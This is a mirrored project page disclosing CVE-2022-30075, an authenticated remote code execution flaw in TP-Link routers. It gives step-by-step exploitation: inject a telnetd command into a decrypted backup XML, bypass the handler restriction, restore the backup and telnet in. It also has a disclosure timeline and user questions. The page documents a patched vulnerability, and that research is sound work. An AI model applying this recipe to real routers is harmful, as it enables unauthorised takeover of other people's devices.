Giter VIP home page Giter VIP logo

cve-2022-30075's Introduction

CVE-2022-30075

Authenticated Remote Code Execution in Tp-Link Routers

Affected Devices

If your Tp-Link router has backup and restore functionality and firmware is older than june 2022, it is probably vulnerable

Tested With

Tp-Link Archer AX50, other tplink routers may use different format of backups and exploit needs to be modified

PoC

Using exploit for starting telnet daemon on the router tplink

Manual Exploitation

  1. login to router web interface
  2. go to advanced -> system -> backup settings
  3. decrypt and decompress backup file
  1. in decrypted xml file you can find something like this:
<button name="led_switch">
  <action>pressed</action>
  <button>ledswitch</button>
  <handler>/lib/led_switch</handler>
</button>
  • replace it with these lines
<button name="exploit">
  <action>pressed</action>
  <button>ledswitch</button>
  <handler>/usr/sbin/telnetd -l /bin/login.sh</handler>
</button>
  • there is a restriction that blocks modification of parameter system.button.handler, but it can be easily bypassed by changing name of parent xml node (e.g. name="exploit")
  • code execution can be achieved not only by changing parameter system.button.handler, but also using ddns.service.ip_script, firewall.include.path, uhttpd.main, and others...
  1. compress and encrypt modified backup file
  2. go to advanced -> system -> restore settings -> upload modified backup file
  3. after reboot, push the led button that triggers execution of injected command /usr/sbin/telnetd -l /bin/login.sh
  4. remotelly login to router: telnet 192.168.1.1

Timeline

15.03.2022 - Identified vulnerability
15.03.2022 - Contacted Tp-Link support
16.03.2022 - Recieved response from Tp-Link
02.05.2022 - Assigned CVE
27.05.2022 - Tp-Link released firmware with fixed vulnerability
07.06.2022 - Published technical details

cve-2022-30075's People

Contributors

aaronsvk avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar

cve-2022-30075's Issues

Qustion for use the exploit

Can you please tell me what is the option -p, on your screenshot you cover this info.

Thanks in advance!!

program

Could you please tell me where the program that reads the XML file is? I would be grateful if you could tell me.

No connection after 'passwd' command

Hi,
It's not about the script, but I want to ask a post-access question.

After logging in I ran the 'passwd' command for ssh without paying attention but now I've lost access either way. I can no longer use telnet.

I tried the following commands;

ssh [email protected]
ssh: connect to host 192.168.1.1 port 22: Connection refused
-------------
telnet 192.168.1.1
Connecting To 192.168.1.1...
Could not open connection to the host, on port 23: Connect failed

Is there any way I can regain access?

Thanks

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.